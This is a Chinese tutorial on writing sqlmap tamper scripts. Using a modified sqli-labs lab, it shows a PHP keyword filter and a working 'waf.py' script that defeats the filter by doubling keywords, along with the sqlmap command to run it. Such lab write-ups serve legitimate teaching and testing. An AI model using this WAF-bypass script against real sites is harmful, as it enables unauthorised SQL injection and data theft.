目录
前言
sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。
为了说明tamper的结构,让我们从一个最简单的例子开始
# sqlmap/tamper/escapequotes.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("'", "\\'").replace('"', '\\"')
不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
- priority定义脚本的优先级,用于有多个tamper脚本的情况。如果你加载多个tamper,谁的优先级高,谁被优先使用。(优先级共有七个,分别为;LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST)
- dependencies函数声明该脚本适用/不适用的范围,可以为空。
- tamper是主要的函数,接受的参数为payload和**kwargs。返回值为替换后的payload。比如这个例子中就把引号替换为了\\'。payload参数是sqlmap进行自动注入时的sql语句,要替换的就是payload,来完成想要的绕过。kwargs是修改http头里的内容函数,如下图
tamper脚本实战
1. 环境设计
这里对sqli-labs第一关环境进行修改,增加过滤函数如下
function sqlwaf( $str ) {
$str = str_ireplace( "and", "", $str );
$str = str_ireplace( "or", "", $str );
$str = str_ireplace( "union", "", $str );
$str = str_ireplace( "select", "", $str );
$str = str_ireplace( "sleep", "", $str );
$str = str_ireplace( "group", "", $str );
$str = str_ireplace( "extractvalue", "", $str );
$str = str_ireplace( "updatexml", "", $str );
$str = str_ireplace( "PROCEDURE", "", $str );
return $str;
}
对传入的函数先经过这个函数的过滤
经过这个过滤后,我们直接使用sqlmap进行注入是注入不成功的
所以我们需要对sqlmap的payload进行修改,根据过滤函数规则,我们可以进行双写绕过单次过滤
2. tamper编写
因为关键词被过滤为空,导致payload不能正常执行,那么就可以编写这样tamper
waf.py内容:
# sqlmap/tamper/escapequotes.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
result = payload.replace("OR", "oorr").replace("AND", "aandnd").replace("UNION", "ununionion").replace("SELECT", "seleselectct").replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")
return result
将waf.py放到sqlmap\tamper目录下,然后执行
sqlmap.py -u url -v3 --tamper=waf.py --batch
sqlmap关键词都被替换,如下and
成功注入出来了